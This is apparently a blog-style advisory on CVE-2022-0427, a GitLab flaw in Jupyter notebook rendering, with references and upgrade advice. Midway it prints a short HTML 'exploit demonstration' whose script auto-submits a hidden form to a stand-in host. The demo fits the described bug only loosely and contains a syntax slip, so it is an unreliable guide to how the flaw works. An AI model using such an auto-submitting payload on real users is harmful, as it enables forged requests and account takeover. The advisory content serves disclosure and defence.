Security researchers recently discovered a serious vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE), specifically in their integration with Jupyter notebooks. This vulnerability, identified as CVE-2022-0427, is caused by improper sanitization of HTML attributes within Jupyter notebooks, which could enable attackers to perform arbitrary HTTP POST requests on behalf of users, potentially leading to account takeover. This issue affects all GitLab CE/EE versions since 14.5.

Exploit Details

The root cause of this vulnerability is the missing sanitization of HTML attributes in Jupyter notebooks rendering in GitLab. This allows an attacker to inject malicious code that can force users' browsers to perform unauthorized actions, such as making HTTP POST requests without their consent. As a result, an attacker can exploit the trust relationship between the user and the application to carry out a potentially malicious activity that compromises the user's account.

To exemplify the exploit, consider the following code snipplet

# CVE-2022-0427 exploit demonstration
<!DOCTYPE html>
<html>
<head>
    <title>GitLab Exploit</title>
</head>
<body>
<form action="http://www.example.com/post_request"; method="post" id="exploitForm">
    <input type="hidden" name="sensitiveData" value="maliciousData">
</form>
<script>
document.getElementById("exploitForm").submit();
</script>
</body>
</html>

In this example, the malicious code can be embedded in an innocuous-looking Jupyter notebook. When a user opens the notebook, their browser would immediately submit the POST request, transferring sensitive information to the attacker-controlled server.

Original References

GitLab has recognized the severity of this vulnerability and provided a detailed description of the issue, along with steps to mitigate it on their official website. You can find more information about CVE-2022-0427 in GitLab's security advisory at the following link: https://gitlab.com/gitlab-org/gitlab/-/issues/345791

Additionally, the public disclosure of this vulnerability can be found on the CVE website: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0427

Mitigation and Conclusion

In response to CVE-2022-0427, GitLab has released security updates to address the issue. Users are strongly advised to upgrade to the latest GitLab versions (14.7.6, 14.6.7, or 14.5.7) to safeguard their accounts against attackers exploiting this vulnerability. To update your GitLab instance, please follow the official GitLab documentation: https://docs.gitlab.com/ee/update/

In summary, CVE-2022-0427 is a serious vulnerability in GitLab CE/EE that affects all versions of the software since 14.5. This vulnerability is caused by missing sanitization of HTML attributes in Jupyter notebooks, potentially allowing attackers to perform arbitrary HTTP POST requests on a user's behalf, leading to potential account takeover. To protect yourself against this risk, take the necessary steps to update your GitLab instance to a secure version as advised by GitLab's security advisory.

Stay vigilant and keep your online environments safe by staying up-to-date on the latest vulnerabilities, exploits, and security best practices.

Timeline

Published on: 03/28/2022 19:15:00 UTC
Last modified on: 04/04/2022 19:16:00 UTC